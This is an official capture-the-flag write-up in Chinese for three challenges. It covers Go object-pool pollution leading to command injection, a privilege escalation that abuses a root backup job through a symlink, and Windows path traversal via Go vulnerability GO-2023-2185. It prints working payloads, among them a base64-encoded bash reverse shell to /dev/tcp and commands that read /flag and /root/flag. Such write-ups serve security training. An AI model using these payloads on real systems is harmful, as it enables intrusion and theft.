[H&NCTF]Just Ping以及Watch官方WP
[WEB+RE]Just Ping Part 1
这个题的逆向部分其实就是ida打开后F5看源码,下面分析一下

主要实现了两个接口/api/ping 和 /api/testDevelopApi。
在前端也是有写的


继续找具体的实现函数PingHandle看一下关键的部分

如果用户传入target并且合法,进入这里从对象池中获取*[]string对象
随后设置了一个defer在函数退出时执行


就是将从池中获取的对象重新返回池中,但是这里在放回池中之前没有任何的清理动作,也就是说下次取用这个对象时这些数据仍会存在

这里就是将字符串数组的最后一个元素替换为用户传入的target了

最后的执行和输出,然后来看DevelopmentHandler

大体上和PingHandle相似,只不过没有真正的执行命令

同样的取对象和设置defer放回池

解析用户输入到[]string,同时检查错误和[]string的长度,这里可以看到长度限制最大为4
最后将解析的[]string赋值到前面从池中取出的对象,后面并没有执行就结束了
到这里逻辑就清晰了,访问/api/testDevelopApi接口可以污染对象池中的对象,然后再访问/api/ping接口就可以执行恶意命令
/api/testDevelopApi?cmd=sh%20-c%20%22ls%20%2F%22%20hnctf这里注意输入命令和三个参数,最后一个随意但是需要有
/api/ping?target=127.0.0.1这时最后一个元素hnctf会被替换为127.0.0.1,这并不影响我们执行命令
执行ls /命令

拿flag
/api/testDevelopApi?cmd=sh%20-c%20%22cat%20%2Fflag%22%20hnctf
/api/ping?target=127.0.0.1
[WEB+RE]Just Ping Part 2
web部分和part1一样
直接反弹shell的payload
sh%20-c%20%22echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC9pcC9wb3J0IDA%2BJjEK%20%7C%20base64%20-d%7C%20%2Fbin%2Fbash%22%20hnctf
//替换自己监听的ip port
/api/ping?target=127.0.0.1getshell后先看看有什么特殊的东西没
在/var/backups下看见一个每分钟都会刷新的backup.zip
使用base64输出 然后down下来看看
base64 backup.zip
解压之后没有看到什么信息 这里就一个healthy文件,内容是ok
继续
这里肯定是题目设定的 所以尝试用find去搜索backup相关的内容 看是否有其他的文件
find / -name "*backup*" 2>/dev/null看到特殊的如下图:

分别看看/usr/local/etc/backup和/usr/local/backupList
/usr/local/backupList:
看到有一个路径 /root/healthy 刚刚那个压缩包里也是叫healthy的文件
再把/usr/local/etc/backup拿下来分析一下

直接看main函数就明了了,会通过../backupList文件中的目录来绝定需要备份哪些文件进/var/backups/backup.zip
注意到用到了这个函数os.executable()
func Executable added in go1.8
func Executable() (string, error)
Executable returns the path name for the executable that started the current process. There is no guarantee that the path is still pointing to the correct executable. If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. If a stable result is needed, path/filepath.EvalSymlinks might help.
Executable returns an absolute path unless an error occurred.
The main use case is finding resources located relative to an executable.
它会获取可执行文件的绝对路径,再和下面的filepath.Dir()和filepath.Abs()组合,就可以拿到可执行文件绝对路径的目录路径,这时再拼接../backupList取上级目录的backupList
这里有可乘之机,先看一下/usr/local/etc/的权限

拥有完全的读写权限,开始操作
在etc下创建一个tmp目录,将backup程序移动进去,同时创建backupList文件在etc目录下,包含/root/flag内容

在etc下创建backup的软链接
随后静待backup.zip刷新,base64后拿下来解压即可


至于md5校验,软链接并不影响md5
Watch
这个题其实挺简单的,但是没想到只有十多个解。
注意go版本为1.20.10
看一看代码,主要是实现了一个目录、文件的浏览功能,使用/SystemRoot/作为初始目录,实际上就是C:\Windows

用的是Windows NT Api,拼接后的路径需要是NT Api可解析的路径

可以使用\??\D:\来访问到各盘符,但是如何使/SystemRoot/与传入路径拼接后得到呢
这里需要提到go1.20的漏洞了
Vulnerability Report: GO-2023-2185

简而言之,在这个版本下\SystemRoot\..\??\D:\这样的路径会被错误的输出为\??\D:\,从而导致穿越
而在新版会变成\.\??\D:\,就不会导致穿越
于是构造payload为..\??\D:\key.txt即可拿到key

而新版本则会出现下列提示

0